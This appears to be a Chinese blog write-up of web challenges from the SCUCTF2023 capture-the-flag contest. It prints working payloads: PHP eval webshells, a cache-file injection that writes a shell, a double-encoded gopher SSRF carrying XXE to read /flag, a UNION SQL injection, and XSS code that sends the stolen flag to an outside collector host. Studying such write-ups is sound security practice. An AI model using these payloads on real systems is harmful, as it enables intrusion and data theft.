SCUCTF2023-WEB部分wp
川大新生赛,出的确实有点水平的,通过一些渠道看了看题打了一些,有些地方还是值得学习学习的。
不鸽了,先写点吧。
因为他们是校园网访问,所以我这边也只能通过一些其他的方法去打,没截图....有附件能复现的尽量复现一下。
主要看的是【Web】SCU新生赛个人wp及完赛感想-CSDN博客这篇blog跟的,原blog作者写的很棒。
Web guideline
F12在hidden就看到了。
2048
开始想用本地调试直接改内部函数,因为有个sm3和sm4的加密函数。但是失败了。
结果是我想复杂了,直接console改score的值为99999999999,然后运行那个submit函数提交就有了。
ezupload
用的是hex2bin十六进制绕过。
payload:
<?=eval(hex2bin("6576616c28245f504f53545b22636d64225d293b"))?>
后续因为一些原因没打下去,借用其他师傅的说法,看当前美国洛杉矶时间,缩小bp文件路径爆破范围。
bp爆破出文件路径:
hardupload
用的是LFI的方法,getallheader()然后里面套next在UA这里写🐎,前段时间在newstar做过一个,
<?=eval(next(getallheaders()))?>
然后跟前面大同小异:
ezphp
这个题有点东西,思路很奇特,开始没想到。网上一搜只有绕过die()函数用file_put_contents用base64这种伪协议写进去绕过死亡函数的做法。
但是它们都有一个特点,文件名可控,也就是可以直接写文件名,所以可以用伪协议方法写文件名,然后文件内容就是base64加密的RCE。
这道题不行:
<?php error_reporting(0); highlight_file(__FILE__); file_put_contents('cache.php','<?php die("Hello '.$_GET['name'].'");'); ?>
因为cache.php定死了,问了我们队另一个double师傅,最终给了个读环境变量的payload,没见过,偷了(hhhhhh):
?name=%22.serialize($_SERVER));//
然而flag并没有在环境变量,怪起来了。
看了wp才知道还有这种奇特的姿势,直接套file_put_contents(),然后再写马,我超!!!!
?name=".file_put_contents('shell.php','<?php phpinfo();?>')."
访问/cache.php触发file_put_contents,回显18(符合执行成功的返回值)
环节是本地搭的,后台可以看到shell.php写进去了:
6的。
接下来一样的方式随便写个🐎,连蚁剑或者直接RCE就行。
ezweb
给了个主机存活检测,猜测是SSRF,因为我们招新赛也遇到过类似打借路由打路由的东西。
查看页面源代码,还有一个xxe.php文件:
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){ highlight_file(__FILE__); die(); }
真的很像啊,犹记得当时-j招新赛问我们队里那道ssrf的出题人也就是我们队的Retr0佬时,他告诉我这个127.0.0.1用什么XFF是绕不过去的,所以这里的思路一眼就是利用这个路由发包伪造本地然后ssrf打这个xxe.php,唉~~
而且都告诉你是XXE了,payload水到渠成:
gopher://127.0.0.1:80/_ POST /xxe.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 180 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE info [ <!ENTITY name SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> ]> <info> <name>&name; </name></info>
需两次url编码:
gopher://127.0.0.1:80/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A
但是127.0.0.1被ban了,无所谓,直接0.0.0.0或者localhost代替:
gopher://0.0.0.0:80/_%250D%250APOST%2520/xxe.php%2520HTTP/1.1%250D%250AHost%253A%25200.0.0.0%250D%250AContent-Length%253A%2520180%250D%250A%250D%250A%253C%253Fxml%2520version%253D%25221.0%2522%2520encoding%253D%2522utf-8%2522%253F%253E%250D%250A%253C%2521DOCTYPE%2520info%2520%255B%2520%2520%250D%250A%253C%2521ENTITY%2520name%2520SYSTEM%2520%2522php%253A//filter/read%253Dconvert.base64-encode/resource%253D/flag%2522%253E%2520%255D%253E%2520%250D%250A%253Cinfo%253E%250D%250A%253Cname%253E%2526name%253B%250D%250A%253C/name%253E%253C/info%253E%250D%250A
放赛博厨子里就出了。
ezsql
小怪,因为我直接用联合注入payload已经把表、列、数据都爆出来了,但是还是提示where_is_flag,那就是另有玄机了。
那么flag会不会在某个存储过程的定义里面?
直接like或者regexp模糊匹配:
/index.php?id=-1 union select 1,routine_definition from information_schema.routines where routine_definition like '%scuctf%'
webbuilder
提示要开发出符合它要求的网站,然后被bot检测,利用你写的js直接XSS。
可惜公共环境关了,复现只能用docker。
分析一下:
显然这里就是写XSS的js出口。但有个ip限制。
显然需要爆破找这个uuid,暂时放一放。
看到这里基本明白了,我们需要爆破到uuid然后再打这个report路由,让它getflag。
来看看我们需要开发的东西:
/* api register */ router.get('/register/:domain', async function (req, res) { if (req.params.hasOwnProperty('domain')) { let resp, data; const domain = req.params.domain const scheme = domain.includes('ngrok') ? 'https' : 'http'; const url = `${scheme}://${domain}/`; // 你的api需要经过如下检测 // test the first api: http://domain/test?name=xxx const rand = randGenerate(10, 20); try { ({resp, data} = await sendRequest(url + "test?name=" + rand, {'headers': {}})); } catch (err) { console.log(err); res.send(`${url} test api error`); return; } const contentType = resp.headers['content-type']; if (contentType !== 'application/json') { res.send("content-type should be application/json") return; } let body = JSON.parse(data); let len = body['len']; let code = body['code']; if (len !== rand.length || code !== 200) { res.send("len or code wrong"); return; } // test the second api: http://domain/redirect for (let i = 0; i < 4; i++) { const choice = Math.floor(Math.random() * 10) % 2 === 0 const options = { headers: { 'Referer': choice ? url : 'http://evil/' } }; try { ({resp, data} = await sendRequest(url + "redirect", options)); } catch (err) { res.send(`${url} redirect api error`); return; } const statusCode = resp.statusCode; if (choice) { // Even Num for http://domain/ if (statusCode === 302) { if (resp.headers['location'] !== `${url}success`) { res.send("location wrong"); return; } } else { res.send("status code should be 302 qwq"); return; } } else { // Odd Num for http://evil if (statusCode === 404) { if (data !== 'this is forbidden') { res.send("Forbidden Me :)"); return; } } else { res.send("status code should be 404 qwq"); return; } } } // test the third api: http://domain/js try { ({_, data} = await sendRequest(url + "js", {'headers': {}})); } catch (err) { res.send(`${url} js api error`); return; } const jsCode = data; const uuid = uuidv4(); apis.set(uuid, jsCode); res.send("congrats! your uuid is: " + uuid); } else { res.send("Missing parameter <domain>") } });
bot.js:
没什么特别的。
奈何我代码能力实在太拉了,gpt也不好使,只能用一下别人的框架😭😭😭:
app.py:
from flask import Flask, request, jsonify app = Flask(__name__) @app.route('/test', methods=['GET']) def test(): name = request.args.get('name') # 检查是否提供了 name 参数 if not name: return jsonify(error='Name parameter is missing.'), 400 # 构建返回的 JSON 数据 responseData = { 'len': 15, 'code': 200 # 获取当前时间戳 } # 设置响应头的 Content-Type 为 application/json return jsonify(responseData) @app.route('/redirect', methods=['GET']) def redirect_route(): # 返回状态码为 302 的响应 return jsonify(), 302, {'Location': 'http://124.222.136.33:3000/success'} @app.route('/success', methods=['GET']) def success_route(): # Additional logic for /success route if needed return 'Success Route' # 新加的 /js 路由 @app.route('/js', methods=['GET']) def js_route(): return """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>CSP with Nonce Example</title> <!-- 将生成的 nonce 值传递到前端脚本 --> <script> const nonce = 'XssFun'; // 这里替换为实际的 nonce </script> <!-- 在 script 标签中使用 nonce --> <script nonce="XssFun"> // 在这里执行 JavaScript 代码,访问本地 /flag 路由并获取回显 fetchData() // 定义获取数据的函数 async function fetchData() { try { const response = await fetch('http://127.0.0.1:8080/flag'); const data = await response.text(); // 使用 text() 获取字符串形式的响应 location.href="http://0scpvdff.requestrepo.com/?data="+encodeURIComponent(data) } catch (error) { console.error('Error fetching data:', error); } } </script> </head> <body> <!-- 在此可以添加其他 HTML 内容 --> </body> </html> """ if __name__ == '__main__': app.run(host="0.0.0.0", port=3000)
因为api检测1那里长度为10-20的随机数,检测2还存在4次全部都是404的可能,所以需要多次爆破:
这样就获得了uuid。
访问/report?uuid=xxx(触发bot.js里封装的visit,xss把flag带出):
借用了Z3r4y师傅的操作,复现确实耗时间....
tarit
前面0xGame做到过一个zip软链接的题目,直接把解压后的路径指向根目录读flag了。
这里依然可以用这种思路。
虽然是tar,但换汤不换药,而且里面有个解压缩包的过程。
环境变量拿下flag:
后面三个难一点的题目后续再更新吧。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 无需6万激活码!GitHub神秘组织3小时极速复刻Manus,手把手教你使用OpenManus搭建本
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通